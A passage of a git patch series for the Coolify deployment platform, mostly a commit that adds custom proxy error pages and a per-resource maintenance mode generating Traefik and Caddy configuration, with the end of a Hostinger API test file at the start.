]); + + $action = (new HostingerService('test-token'))->startVirtualMachine(17923); + + expect($action['state'])->toBe('running'); +}); + +it('raises the shared rate limit exception for Hostinger throttling', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/data-centers' => Http::response([ + 'message' => 'Too many requests.', + ], 429, ['Retry-After' => '30']), + ]); + + expect(fn () => (new HostingerService('test-token'))->getDataCenters()) + ->toThrow(RateLimitException::class, 'Rate limit exceeded. Please try again later.'); +}); From 8b30b342387c7547be1153ab85137da33a538c66 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 7 Oct 2026 13:24:42 +0200 Subject: [PATCH 20/24] feat(proxy): add custom error pages and resource maintenance mode (#12112) --- app/Actions/Proxy/StartProxy.php | 5 +- app/Actions/Proxy/StopProxy.php | 5 + app/Actions/Service/StartService.php | 9 + app/Jobs/ApplicationDeploymentJob.php | 9 + app/Jobs/DeleteResourceJob.php | 13 + .../ProxyStatusChangedNotification.php | 1 + app/Livewire/Project/Shared/Maintenance.php | 93 ++++ app/Livewire/Server/Proxy.php | 19 + app/Models/Application.php | 37 +- app/Models/Server.php | 421 +++++++++++++++--- app/Models/Service.php | 33 +- app/Traits/HasMaintenancePage.php | 85 ++++ bootstrap/helpers/docker.php | 18 +- bootstrap/helpers/proxy.php | 13 + ..._add_proxy_error_page_to_servers_table.php | 25 ++ ...de_to_applications_and_services_tables.php | 30 ++ .../application/configuration.blade.php | 1 + .../project/service/configuration.blade.php | 1 + .../project/shared/maintenance.blade.php | 30 ++ .../views/livewire/server/proxy.blade.php | 18 +- resources/views/proxy/error-page.blade.php | 18 + resources/views/proxy/layout.blade.php | 116 +++++ .../views/proxy/maintenance-page.blade.php | 9 + tests/Feature/Proxy/MaintenanceModeTest.php | 289 ++++++++++++ .../Proxy/NonRootProxyCommandsTest.php | 4 +- tests/Feature/Proxy/ProxyErrorPageTest.php | 286 ++++++++++++ tests/Pest.php | 38 ++ 27 files changed, 1557 insertions(+), 69 deletions(-) create mode 100644 app/Livewire/Project/Shared/Maintenance.php create mode 100644 app/Traits/HasMaintenancePage.php create mode 100644 database/migrations/2026_10_01_132654_add_proxy_error_page_to_servers_table.php create mode 100644 database/migrations/2026_10_01_161644_add_maintenance_mode_to_applications_and_services_tables.php create mode 100644 resources/views/livewire/project/shared/maintenance.blade.php create mode 100644 resources/views/proxy/error-page.blade.php create mode 100644 resources/views/proxy/layout.blade.php create mode 100644 resources/views/proxy/maintenance-page.blade.php create mode 100644 tests/Feature/Proxy/MaintenanceModeTest.php create mode 100644 tests/Feature/Proxy/ProxyErrorPageTest.php diff --git a/app/Actions/Proxy/StartProxy.php b/app/Actions/Proxy/StartProxy.php index 169064e180..98c0e0bc64 100644 --- a/app/Actions/Proxy/StartProxy.php +++ b/app/Actions/Proxy/StartProxy.php @@ -56,10 +56,11 @@ class StartProxy "echo 'Successfully started coolify-proxy.'", ]); } else { - $caddyfile = 'import /dynamic/*.caddy'; + // The base Caddyfile also holds the maintenance blocks (see Server::caddyBaseCaddyfile()). + $caddyfile = base64_encode($server->caddyBaseCaddyfile()); $commands = $commands->merge([ "mkdir -p $proxy_path/dynamic", - "echo '$caddyfile' | tee $proxy_path/dynamic/Caddyfile > /dev/null", + "echo '$caddyfile' | base64 -d | tee $proxy_path/dynamic/Caddyfile > /dev/null", "echo 'Creating required Docker Compose file.'", "echo 'Pulling docker image.'", "docker compose -f $compose_file pull", diff --git a/app/Actions/Proxy/StopProxy.php b/app/Actions/Proxy/StopProxy.php index d3999a6e30..881aa0252f 100644 --- a/app/Actions/Proxy/StopProxy.php +++ b/app/Actions/Proxy/StopProxy.php @@ -23,11 +23,16 @@ class StopProxy ProxyStatusChangedUI::dispatch($server->team_id); } + $errorPageCommands = $server->isSwarm() ? [] : [ + 'docker rm -f '.Server::PROXY_ERROR_PAGE_CONTAINER.' 2>/dev/null || true', + ]; + instant_remote_process(command: [ dockerStopCommand($timeout, $containerName, $server).' 2>/dev/null || true', "docker rm -f $containerName 2>/dev/null || true", // The Traefik traffic analytics log rotation sidecar must not outlive the proxy. 'docker rm -f '.TRAEFIK_LOGROTATE_CONTAINER.' 2>/dev/null || true', + ...$errorPageCommands, '# Wait for container to be fully removed', 'for i in {1..10}; do', " if ! docker ps -a --format \"{{.Names}}\" | grep -q \"^$containerName$\"; then", diff --git a/app/Actions/Service/StartService.php b/app/Actions/Service/StartService.php index aacf2bc0cc..be3f0524f6 100644 --- a/app/Actions/Service/StartService.php +++ b/app/Actions/Service/StartService.php @@ -8,6 +8,7 @@ use App\Models\Service; use App\Models\ServiceApplication; use App\Models\ServiceDatabase; use Illuminate\Support\Collection; +use Illuminate\Support\Facades\Log; use Lorisleiva\Actions\Concerns\AsAction; use Lorisleiva\Actions\Decorators\JobDecorator; use Symfony\Component\Yaml\Yaml; @@ -67,6 +68,14 @@ class StartService } } $commands = array_merge($commands, $this->logDrainNetworkConnectCommands($service)); + if ($service->is_maintenance_enabled) { + // Domains can change with the compose file, so the maintenance routes follow them. + try { + $service->syncMaintenancePage(); + } catch (\Throwable $e) { + Log::warning('Maintenance page update failed while starting service.', ['service_uuid' => $service->uuid, 'error' => $e->getMessage()]); + } + } return remote_process($commands, $service->server, type_uuid: $service->uuid, callEventOnFinish: 'ServiceStartFinished', callEventData: $service->id, queue: deployment_queue()); } diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index c8641240cc..f84c77206d 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -623,6 +623,15 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue \Log::warning('Post deployment command failed for '.$this->deployment_uuid.': '.$e->getMessage()); } + // Domains can change with a deployment, so the maintenance routes follow them. + if ($this->pull_request_id === 0 && $this->application->is_maintenance_enabled) { + try { + $this->application->syncMaintenancePage(); + } catch (Exception $e) { + \Log::warning('Maintenance page update failed for '.$this->deployment_uuid.': '.$e->getMessage()); + } + } + } private function deploy_simple_dockerfile() diff --git a/app/Jobs/DeleteResourceJob.php b/app/Jobs/DeleteResourceJob.php index 52fa592766..b73c2c5a7a 100644 --- a/app/Jobs/DeleteResourceJob.php +++ b/app/Jobs/DeleteResourceJob.php @@ -131,8 +131,21 @@ class DeleteResourceJob implements ShouldBeEncrypted, ShouldQueue ]); } + $maintenanceServers = data_get($this->resource, 'is_maintenance_enabled') ? $this->resource->maintenanceServers() : null; + $this->deleteLocalResource(); + if ($maintenanceServers) { + try { + // Removes the maintenance route of the deleted resource. + $this->resource->syncMaintenancePage($maintenanceServers); + } catch (\Throwable $e) { + Log::warning('Maintenance page cleanup failed while deleting resource.', [ + 'resource_id' => $this->resource->id, + 'error' => $e->getMessage(), + ]); + } + } } private function deleteLocalResource(): void diff --git a/app/Listeners/ProxyStatusChangedNotification.php b/app/Listeners/ProxyStatusChangedNotification.php index 9b117d4e13..74851cee52 100644 --- a/app/Listeners/ProxyStatusChangedNotification.php +++ b/app/Listeners/ProxyStatusChangedNotification.php @@ -33,6 +33,7 @@ class ProxyStatusChangedNotification implements ShouldQueueAfterCommit if ($status === 'running') { $server->setupDefaultRedirect(); + $server->setupMaintenancePages(); $server->setupDynamicProxyConfiguration(); $server->proxy->force_stop = false; $server->save(); diff --git a/app/Livewire/Project/Shared/Maintenance.php b/app/Livewire/Project/Shared/Maintenance.php new file mode 100644 index 0000000000..29c2263e5a --- /dev/null +++ b/app/Livewire/Project/Shared/Maintenance.php @@ -0,0 +1,93 @@ +isMaintenanceEnabled = (bool) $this->resource->is_maintenance_enabled; + $this->maintenancePage = $this->resource->maintenance_page; + } + + /** + * Servers that run the resource with a supported proxy (Traefik or Caddy, not Swarm). + */ + public function getIsSupportedProperty(): bool + { + return $this->resource->maintenanceServers()->contains(fn (Server $server) => ! $server->isSwarm() + && in_array($server->proxyType(), [ProxyTypes::TRAEFIK->value, ProxyTypes::CADDY->value], true)); + } + + public function instantSaveMaintenance(): void + { + try { + $this->authorize('update', $this->resource); + $this->resource->is_maintenance_enabled = $this->isMaintenanceEnabled; + $this->resource->save(); + $this->resource->syncMaintenancePage(); + $this->dispatch('success', $this->isMaintenanceEnabled ? 'Maintenance mode enabled.' : 'Maintenance mode disabled.'); + } catch (\Throwable $e) { + $this->isMaintenanceEnabled = (bool) $this->resource->fresh()?->is_maintenance_enabled; + handleError($e, $this); + } + } + + public function submit(): void + { + try { + $this->authorize('update', $this->resource); + $this->validate([ + 'maintenancePage' => ['nullable', 'string', proxyPageSizeRule('maintenance page')], + ]); + $this->resource->maintenance_page = filled($this->maintenancePage) ? $this->maintenancePage : null; + $this->resource->save(); + if ($this->resource->is_maintenance_enabled) { + $this->resource->syncMaintenancePage(); + } + $this->dispatch('success', 'Maintenance page saved.'); + } catch (\Throwable $e) { + handleError($e, $this); + } + } + + public function resetMaintenancePage(): void + { + try { + $this->authorize('update', $this->resource); + $this->resource->maintenance_page = null; + $this->resource->save(); + $this->maintenancePage = null; + if ($this->resource->is_maintenance_enabled) { + $this->resource->syncMaintenancePage(); + } + $this->dispatch('success', 'Default maintenance page restored.'); + } catch (\Throwable $e) { + handleError($e, $this); + } + } + + public function render() + { + return view('livewire.project.shared.maintenance'); + } +} diff --git a/app/Livewire/Server/Proxy.php b/app/Livewire/Server/Proxy.php index b1a37f4846..6b7a3859e5 100644 --- a/app/Livewire/Server/Proxy.php +++ b/app/Livewire/Server/Proxy.php @@ -26,6 +26,8 @@ class Proxy extends Component public ?string $redirectUrl = null; + public ?string $customErrorPage = null; + public bool $generateExactLabels = false; /** @@ -49,6 +51,7 @@ class Proxy extends Component return [ 'generateExactLabels' => 'required|boolean', 'redirectUrl' => ['nullable', new SafeExternalUrl], + 'customErrorPage' => ['nullable', 'string', proxyPageSizeRule('custom error page')], ]; } @@ -57,6 +60,7 @@ class Proxy extends Component $this->selectedProxy = $this->server->proxyType(); $this->redirectEnabled = data_get($this->server, 'proxy.redirect_enabled', true); $this->redirectUrl = data_get($this->server, 'proxy.redirect_url'); + $this->customErrorPage = $this->server->proxy_error_page; $this->syncData(false); $this->clearAppliedTraefikBranchWarning(); } @@ -187,6 +191,20 @@ class Proxy extends Component } } + public function resetCustomErrorPage(): void + { + try { + $this->authorize('update', $this->server); + $this->server->proxy_error_page = null; + $this->server->save(); + $this->customErrorPage = null; + $this->server->setupDefaultRedirect(); + $this->dispatch('success', 'Default error page restored.'); + } catch (\Throwable $e) { + handleError($e, $this); + } + } + public function submit() { try { @@ -194,6 +212,7 @@ class Proxy extends Component $this->validate(); SaveProxyConfiguration::run($this->server, $this->proxySettings); $this->server->proxy->redirect_url = $this->redirectUrl; + $this->server->proxy_error_page = filled($this->customErrorPage) ? $this->customErrorPage : null; $this->server->save(); auditLog('ui.server.proxy.configuration_saved', $this->proxyAuditContext()); $this->server->setupDefaultRedirect(); diff --git a/app/Models/Application.php b/app/Models/Application.php index 2d6f3fbfa0..8a65051c66 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -17,6 +17,7 @@ use App\Traits\Auditable; use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasComposeVolumeWarnings; use App\Traits\HasConfiguration; +use App\Traits\HasMaintenancePage; use App\Traits\HasMetrics; use App\Traits\HasNoindexDomains; use App\Traits\HasSafeStringAttribute; @@ -137,7 +138,7 @@ use Symfony\Component\Yaml\Yaml; class Application extends BaseModel { /** @use HasFactory */ - use Auditable, ClearsGlobalSearchCache, HasComposeVolumeWarnings, HasConfiguration, HasFactory, HasMetrics, HasNoindexDomains, HasSafeStringAttribute, HasSecretManager, ReleasesManagedDnsRecords, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasComposeVolumeWarnings, HasConfiguration, HasFactory, HasMaintenancePage, HasMetrics, HasNoindexDomains, HasSafeStringAttribute, HasSecretManager, ReleasesManagedDnsRecords, SoftDeletes; public const MAX_DOCKER_COMPOSE_SIZE_BYTES = 5 * 1024 * 1024; @@ -290,6 +291,7 @@ class Application extends BaseModel 'restart_limit_reached' => 'boolean', 'container_present' => 'boolean', 'last_restart_at' => 'datetime', + 'is_maintenance_enabled' => 'boolean', ]; } @@ -585,6 +587,39 @@ class Application extends BaseModel instant_remote_process(["docker network rm {$uuid}"], $server, false); } + /** + * Domains of the application, or of every service of a Docker Compose application. + * + * @return Collection + */ + public function maintenanceDomains(): Collection + { + if ($this->build_pack === 'dockercompose') { + $urls = collect(json_decode($this->docker_compose_domains ?: '[]', true) ?: []) + ->flatMap(fn ($service) => explode(',', (string) data_get($service, 'domain', ''))); + } else { + $urls = collect($this->fqdns); + } + $forceHttps = (bool) $this->isForceHttpsEnabled(); + + return $urls->map(fn ($url) => trim((string) $url)) + ->filter() + ->map(fn (string $url) => ['url' => $url, 'force_https' => $forceHttps]) + ->values(); + } + + /** + * @return Collection + */ + public function maintenanceServers(): Collection + { + return collect([$this->destination?->server]) + ->concat($this->additional_servers) + ->filter() + ->unique('id') + ->values(); + } + public function additional_servers() { return $this->belongsToMany(Server::class, 'additional_destinations') diff --git a/app/Models/Server.php b/app/Models/Server.php index bc20bc07b8..3ab35001f2 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -130,6 +130,19 @@ class Server extends BaseModel public const PLACEHOLDER_IPS = [self::PLACEHOLDER_IP, '0.0.0.0', '::']; + /** + * Serves the proxy error pages (503.html) for the Traefik and Caddy catch-all. + */ + public const PROXY_ERROR_PAGE_CONTAINER = 'coolify-proxy-error-pages'; + + public const PROXY_ERROR_PAGE_IMAGE = 'busybox:musl'; + + /** + * Maximum size of a custom error or maintenance page. The page goes to the server with scp + * (see uploadProxyFile()), so this limit only keeps the Livewire payload reasonable. + */ + public const PROXY_ERROR_PAGE_MAX_BYTES = 1048576; + /** * Default Caddy proxy image. caddy-docker-proxy 2.13 ships Caddy 2.11. */ @@ -325,6 +338,7 @@ class Server extends BaseModel protected $hidden = [ 'logdrain_axiom_api_key', 'logdrain_newrelic_license_key', + 'proxy_error_page', ]; protected $schemalessAttributes = [ @@ -645,6 +659,10 @@ class Server extends BaseModel return $this->proxyType() && $this->proxyType() !== 'NONE' && $this->isFunctional() && ! $this->isSwarmWorker() && $this->canHostResources(); } + /** + * Writes the catch-all proxy configuration for requests that no resource handles. + * Priority: redirect URL > custom error page > Coolify default error page. + */ public function setupDefaultRedirect() { $banner = @@ -653,7 +671,6 @@ class Server extends BaseModel $dynamic_conf_path = $this->proxyPath().'/dynamic'; $proxy_type = $this->proxyType(); $redirect_enabled = $this->proxy->redirect_enabled ?? true; - $redirect_url = $this->proxy->redirect_url; if ($proxy_type === ProxyTypes::TRAEFIK->value) { $default_redirect_file = "$dynamic_conf_path/default_redirect_503.yaml"; } elseif ($proxy_type === ProxyTypes::CADDY->value) { @@ -665,67 +682,13 @@ class Server extends BaseModel "rm -f $dynamic_conf_path/default_redirect_404.yaml", "rm -f $dynamic_conf_path/default_redirect_404.caddy", ], $this); + // The error page container must run before the catch-all points to it. + $this->setupProxyErrorPageContainer(); if ($redirect_enabled === false) { instant_remote_process(["rm -f $default_redirect_file"], $this); } else { - if ($proxy_type === ProxyTypes::CADDY->value) { - if (filled($redirect_url)) { - $conf = ":80, :443 { - redir $redirect_url -}"; - } else { - $conf = ':80, :443 { - respond 503 -}'; - } - } elseif ($proxy_type === ProxyTypes::TRAEFIK->value) { - $dynamic_conf = [ - 'http' => [ - 'routers' => [ - 'catchall' => [ - 'entryPoints' => [ - 0 => 'http', - 1 => 'https', - ], - 'service' => 'noop', - 'rule' => 'PathPrefix(`/`)', - 'tls' => [ - 'certResolver' => 'letsencrypt', - ], - 'priority' => -1000, - ], - ], - 'services' => [ - 'noop' => [ - 'loadBalancer' => [ - 'servers' => [], - ], - ], - ], - ], - ]; - if (filled($redirect_url)) { - $dynamic_conf['http']['routers']['catchall']['middlewares'] = [ - 0 => 'redirect-regexp', - ]; - - $dynamic_conf['http']['services']['noop']['loadBalancer']['servers'][0] = [ - 'url' => '', - ]; - $dynamic_conf['http']['middlewares'] = [ - 'redirect-regexp' => [ - 'redirectRegex' => [ - 'regex' => '(.*)', - 'replacement' => $redirect_url, - 'permanent' => false, - ], - ], - ]; - } - $conf = Yaml::dump($dynamic_conf, 12, 2); - } - $conf = $banner.$conf; + $conf = $banner.$this->defaultRedirectConfiguration(); $base64 = base64_encode($conf); instant_remote_process([ "echo '$base64' | base64 -d | tee $default_redirect_file > /dev/null", @@ -737,6 +700,348 @@ class Server extends BaseModel } } + /** + * Catch-all proxy configuration (without the banner) for an enabled default redirect. + */ + public function defaultRedirectConfiguration(): string + { + $redirect_url = $this->proxy->redirect_url; + $usesErrorPage = $this->usesProxyErrorPage(); + + if ($this->proxyType() === ProxyTypes::CADDY->value) { + if (filled($redirect_url)) { + return ":80, :443 { + redir $redirect_url +}"; + } + if ($usesErrorPage) { + // busybox httpd answers 200, so copy_response sets the 503 status. + return ':80, :443 { + reverse_proxy '.self::PROXY_ERROR_PAGE_CONTAINER.':80 { + rewrite /503.html + handle_response { + copy_response 503 + } + } +}'; + } + + return ':80, :443 { + respond 503 +}'; + } + + $dynamic_conf = [ + 'http' => [ + 'routers' => [ + 'catchall' => [ + 'entryPoints' => [ + 0 => 'http', + 1 => 'https', + ], + 'service' => 'noop', + 'rule' => 'PathPrefix(`/`)', + 'tls' => [ + 'certResolver' => 'letsencrypt', + ], + 'priority' => -1000, + ], + ], + 'services' => [ + 'noop' => [ + 'loadBalancer' => [ + 'servers' => [], + ], + ], + ], + ], + ]; + if (filled($redirect_url)) { + $dynamic_conf['http']['routers']['catchall']['middlewares'] = [ + 0 => 'redirect-regexp', + ]; + + $dynamic_conf['http']['services']['noop']['loadBalancer']['servers'][0] = [ + 'url' => '', + ]; + $dynamic_conf['http']['middlewares'] = [ + 'redirect-regexp' => [ + 'redirectRegex' => [ + 'regex' => '(.*)', + 'replacement' => $redirect_url, + 'permanent' => false, + ], + ], + ]; + } elseif ($usesErrorPage) { + // The noop service (no servers) keeps the 503; the errors middleware only replaces the body. + $dynamic_conf['http']['routers']['catchall']['middlewares'] = [ + 0 => 'error-pages', + ]; + $dynamic_conf['http']['middlewares'] = [ + 'error-pages' => [ + 'errors' => [ + 'status' => ['503'], + 'service' => 'error-pages', + 'query' => '/503.html', + ], + ], + ]; + $dynamic_conf['http']['services']['error-pages'] = [ + 'loadBalancer' => [ + 'servers' => [ + ['url' => 'http://'.self::PROXY_ERROR_PAGE_CONTAINER.':80'], + ], + ], + ]; + } + + // A router with `tls` matches only HTTPS, so plain HTTP needs its own catch-all router. + if (! $this->isSwarm()) { + $catchall = $dynamic_conf['http']['routers']['catchall']; + $dynamic_conf['http']['routers']['catchall']['entryPoints'] = ['https']; + unset($catchall['tls']); + $dynamic_conf['http']['routers']['catchall-http'] = array_merge($catchall, ['entryPoints' => ['http']]); + } + + return Yaml::dump($dynamic_conf, 12, 2); + } + + /** + * True when the catch-all shows the error page: a standalone Traefik or Caddy proxy with + * the default redirect enabled and no redirect URL. Swarm servers keep the plain 503. + */ + public function usesProxyErrorPage(): bool + { + return ! $this->isSwarm() + && in_array($this->proxyType(), [ProxyTypes::TRAEFIK->value, ProxyTypes::CADDY->value], true) + && ($this->proxy->redirect_enabled ?? true) !== false + && blank($this->proxy->redirect_url); + } + + public function proxyErrorPagesPath(): string + { + return base_configuration_dir().'/proxy/error-pages'; + } + + /** + * The custom error page HTML, or the Coolify default page. + */ + public function proxyErrorPageHtml(): string + { + return filled($this->proxy_error_page) ? $this->proxy_error_page : view('proxy.error-page')->render(); + } + + /** + * Applications and services on this server that are in maintenance mode. + * + * @return Collection + */ + public function maintenanceResources(): Collection + { + if ($this->isSwarm() || ! in_array($this->proxyType(), [ProxyTypes::TRAEFIK->value, ProxyTypes::CADDY->value], true)) { + return collect(); + } + + return $this->applications()->where('is_maintenance_enabled', true)->values() + ->concat($this->services()->where('is_maintenance_enabled', true)->get()); + } + + /** + * Writes 503.html and starts the error page container, or removes the container when + * neither the catch-all nor a maintenance page uses it. Swarm servers are not supported. + */ + public function setupProxyErrorPageContainer(): void + { + if ($this->isSwarm()) { + return; + } + + $container = self::PROXY_ERROR_PAGE_CONTAINER; + if (! $this->usesProxyErrorPage() && $this->maintenanceResources()->isEmpty()) { + instant_remote_process(["docker rm -f $container >/dev/null 2>&1 || true"], $this); + + return; + } + + $path = $this->proxyErrorPagesPath(); + $mount = devHostDockerPath($this, $path); + $restart = RESTART_MODE; + + instant_remote_process(["mkdir -p $path"], $this); + $this->uploadProxyFile("$path/503.html", $this->proxyErrorPageHtml()); + instant_remote_process([ + dockerNetworkEnsureCommand('coolify'), + "docker start $container >/dev/null 2>&1 || docker run -d --name $container --network coolify --restart $restart --label coolify.managed=true -v $mount:/www:ro ".self::PROXY_ERROR_PAGE_IMAGE.' httpd -f -p 80 -h /www', + // A proxy on custom networks only must still reach the error page container. + 'docker network connect coolify coolify-proxy >/dev/null 2>&1 || true', + ], $this); + } + + /** + * Writes $contents to $path on this server with scp. A shell command is limited to 128 KiB, + * so large pages and proxy files cannot go inside one command. + */ + public function uploadProxyFile(string $path, string $contents): void + { + $uploadPath = '/tmp/coolify-upload-'.bin2hex(random_bytes(8)); + $localPath = tempnam(sys_get_temp_dir(), 'coolify-proxy-file-'); + try { + file_put_contents($localPath, $contents); + instant_scp($localPath, $uploadPath, $this); + } finally { + @unlink($localPath); + } + + // The proxy and the page container read the file as root, other users do not need it. + instant_remote_process(["mv -f $uploadPath $path", "chmod 644 $path"], $this); + } + + /** + * Writes the maintenance pages and the proxy configuration that shows them instead of the + * applications and services in maintenance mode. Swarm servers are not supported. + */ + public function setupMaintenancePages(): void + { + $proxyType = $this->proxyType(); + if ($this->isSwarm() || ! in_array($proxyType, [ProxyTypes::TRAEFIK->value, ProxyTypes::CADDY->value], true)) { + return; + } + + $resources = $this->maintenanceResources(); + $path = $this->proxyErrorPagesPath(); + $keep = $resources->map(fn ($resource) => "! -name '{$resource->maintenancePageFile()}' ")->implode(''); + + instant_remote_process([ + "mkdir -p $path", + "find $path -maxdepth 1 -name 'maintenance-*.html' {$keep}-delete", + ], $this); + $this->setupProxyErrorPageContainer(); + + foreach ($resources as $resource) { + $this->uploadProxyFile("$path/{$resource->maintenancePageFile()}", $resource->maintenancePageHtml()); + } + + $dynamicPath = $this->proxyPath().'/dynamic'; + instant_remote_process(["mkdir -p $dynamicPath"], $this); + if ($proxyType === ProxyTypes::TRAEFIK->value) { + $file = "$dynamicPath/coolify-maintenance.yaml"; + $configuration = $this->maintenanceTraefikConfiguration($resources); + if ($configuration === null) { + instant_remote_process(["rm -f $file"], $this); + } else { + $this->uploadProxyFile($file, $configuration); + } + } else { + // caddy-docker-proxy reads the base Caddyfile again on its next poll. + $this->uploadProxyFile("$dynamicPath/Caddyfile", $this->caddyBaseCaddyfile($resources)); + } + } + + /** + * Traefik routers that use the same rule as the resource routers, with a priority one + * higher. Traefik uses the rule length as the default priority, so a resource on a longer + * path of the same host keeps its own router. + * + * @param Collection $resources + */ + public function maintenanceTraefikConfiguration(Collection $resources): ?string + { + $routers = []; + $middlewares = []; + foreach ($resources as $resource) { + $routes = $resource->maintenanceRoutes(); + if ($routes->isEmpty()) { + continue; + } + $middleware = "coolify-maintenance-{$resource->uuid}"; + $middlewares[$middleware] = [ + 'errors' => [ + 'status' => ['503'], + 'service' => 'coolify-maintenance-pages', + 'query' => '/'.$resource->maintenancePageFile(), + ], + ]; + foreach ($routes as $index => $route) { + $rule = "Host(`{$route['host']}`) && PathPrefix(`{$route['path']}`)"; + $router = [ + 'entryPoints' => ['http'], + 'rule' => $rule, + 'service' => 'coolify-maintenance-noop', + 'middlewares' => ['coolify-maintenance-headers', $middleware], + 'priority' => strlen($rule) + 1, + ]; + $routers["coolify-maintenance-{$resource->uuid}-{$index}-http"] = $router; + if ($route['scheme'] === 'https') { + $routers["coolify-maintenance-{$resource->uuid}-{$index}-https"] = array_merge($router, [ + 'entryPoints' => ['https'], + 'tls' => ['certResolver' => 'letsencrypt'], + ]); + } + } + } + + if ($routers === []) { + return null; + } + + $middlewares['coolify-maintenance-headers'] = [ + 'headers' => ['customResponseHeaders' => ['Retry-After' => '300']], + ]; + + return "# This file is generated by Coolify, do not edit it manually.\n\n".Yaml::dump([ + 'http' => [ + 'routers' => $routers, + 'middlewares' => $middlewares, + 'services' => [ + // No servers: Traefik answers 503 and the errors middleware adds the page. + 'coolify-maintenance-noop' => ['loadBalancer' => ['servers' => []]], + 'coolify-maintenance-pages' => [ + 'loadBalancer' => ['servers' => [['url' => 'http://'.self::PROXY_ERROR_PAGE_CONTAINER.':80']]], + ], + ], + ], + ], 12, 2); + } + + /** + * The base Caddyfile of caddy-docker-proxy. A maintenance block uses the same site address + * as the resource labels, so caddy-docker-proxy merges both into one site block. Its named + * matcher has the same path as the resource handle, so Caddy runs it first. + * + * @param Collection|null $resources + */ + public function caddyBaseCaddyfile(?Collection $resources = null): string + { + $resources ??= $this->maintenanceResources(); + $sites = []; + foreach ($resources as $resource) { + foreach ($resource->maintenanceRoutes() as $index => $route) { + $address = caddySiteAddress($route['scheme'], $route['host'], $route['force_https']); + $matcher = "@coolify-maintenance-{$resource->uuid}-{$index}"; + $sites[$address][] = implode("\n", [ + "\t{$matcher} path {$route['path']}*", + "\thandle {$matcher} {", + "\t\treverse_proxy ".self::PROXY_ERROR_PAGE_CONTAINER.':80 {', + "\t\t\trewrite /{$resource->maintenancePageFile()}", + "\t\t\theader_down Retry-After 300", + "\t\t\thandle_response {", + "\t\t\t\tcopy_response 503", + "\t\t\t}", + "\t\t}", + "\t}", + ]); + } + } + + $caddyfile = 'import /dynamic/*.caddy'; + foreach ($sites as $address => $blocks) { + $caddyfile .= "\n\n{$address} {\n".implode("\n", $blocks)."\n}"; + } + + return $caddyfile."\n"; + } + public function setupDynamicProxyConfiguration() { $settings = instanceSettings(); diff --git a/app/Models/Service.php b/app/Models/Service.php index c5ddeb5941..d823f0f9f0 100644 --- a/app/Models/Service.php +++ b/app/Models/Service.php @@ -9,6 +9,7 @@ use App\Support\ResourceStartActivity; use App\Traits\Auditable; use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasComposeVolumeWarnings; +use App\Traits\HasMaintenancePage; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; use Illuminate\Database\Eloquent\Casts\Attribute; @@ -45,7 +46,7 @@ use Symfony\Component\Yaml\Yaml; )] class Service extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasComposeVolumeWarnings, HasFactory, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasComposeVolumeWarnings, HasFactory, HasMaintenancePage, HasSafeStringAttribute, HasSecretManager, SoftDeletes; private static $parserVersion = '5'; @@ -79,6 +80,13 @@ class Service extends BaseModel 'docker_compose_raw', ]; + protected function casts(): array + { + return [ + 'is_maintenance_enabled' => 'boolean', + ]; + } + protected static function booted() { static::creating(function ($service) { @@ -1516,6 +1524,29 @@ class Service extends BaseModel return $this->hasMany(ServiceApplication::class); } + /** + * Domains of every application in the service stack. + * + * @return Collection + */ + public function maintenanceDomains(): Collection + { + return $this->applications()->get() + ->flatMap(fn (ServiceApplication $application) => collect($application->fqdns) + ->map(fn ($url) => trim((string) $url)) + ->filter() + ->map(fn (string $url) => ['url' => $url, 'force_https' => $application->isForceHttpsEnabled()])) + ->values(); + } + + /** + * @return Collection + */ + public function maintenanceServers(): Collection + { + return collect([$this->server])->filter()->values(); + } + public function databases() { return $this->hasMany(ServiceDatabase::class); diff --git a/app/Traits/HasMaintenancePage.php b/app/Traits/HasMaintenancePage.php new file mode 100644 index 0000000000..ed5b9d3827 --- /dev/null +++ b/app/Traits/HasMaintenancePage.php @@ -0,0 +1,85 @@ + + */ + abstract public function maintenanceDomains(): Collection; + + /** + * @return Collection + */ + abstract public function maintenanceServers(): Collection; + + /** + * Proxy routes for the maintenance page. Domains go into the Traefik and Caddy configuration + * as plain text, so a domain with an unexpected host or path is skipped. + * + * @return Collection + */ + public function maintenanceRoutes(): Collection + { + return $this->maintenanceDomains() + ->map(function (array $domain): ?array { + try { + $url = Url::fromString(trim($domain['url'])); + } catch (\Throwable) { + return null; + } + // Host and scheme stay as the proxy labels use them, so the Caddy site address is the same. + $scheme = $url->getScheme(); + $host = $url->getHost(); + $path = $url->getPath() ?: '/'; + + if (! in_array($scheme, ['http', 'https'], true) + || ! preg_match('/^[a-z0-9]([a-z0-9.-]*[a-z0-9])?$/i', $host) + || ! preg_match('#^/[A-Za-z0-9/._~%-]*$#', $path)) { + return null; + } + + return ['scheme' => $scheme, 'host' => $host, 'path' => $path, 'force_https' => $domain['force_https']]; + }) + ->filter() + ->unique(fn (array $route) => "{$route['scheme']}://{$route['host']}{$route['path']}") + ->values(); + } + + /** + * The custom maintenance page HTML, or the Coolify default page. + */ + public function maintenancePageHtml(): string + { + return filled($this->maintenance_page) ? $this->maintenance_page : view('proxy.maintenance-page')->render(); + } + + public function maintenancePageFile(): string + { + return "maintenance-{$this->uuid}.html"; + } + + /** + * Applies the maintenance state of this resource on every server that runs it. + */ + public function syncMaintenancePage(?Collection $servers = null): void + { + foreach ($servers ?? $this->maintenanceServers() as $server) { + if ($server->isFunctional()) { + $server->setupMaintenancePages(); + } + } + } +} diff --git a/bootstrap/helpers/docker.php b/bootstrap/helpers/docker.php index f502c2415c..9976efa35d 100644 --- a/bootstrap/helpers/docker.php +++ b/bootstrap/helpers/docker.php @@ -766,6 +766,19 @@ function isNoindexDomain(string $domain, ?Collection $noindex_domains): bool ->contains(ValidationPatterns::normalizeApplicationDomainUrl($domain)); } +/** + * Caddy site address of a domain. 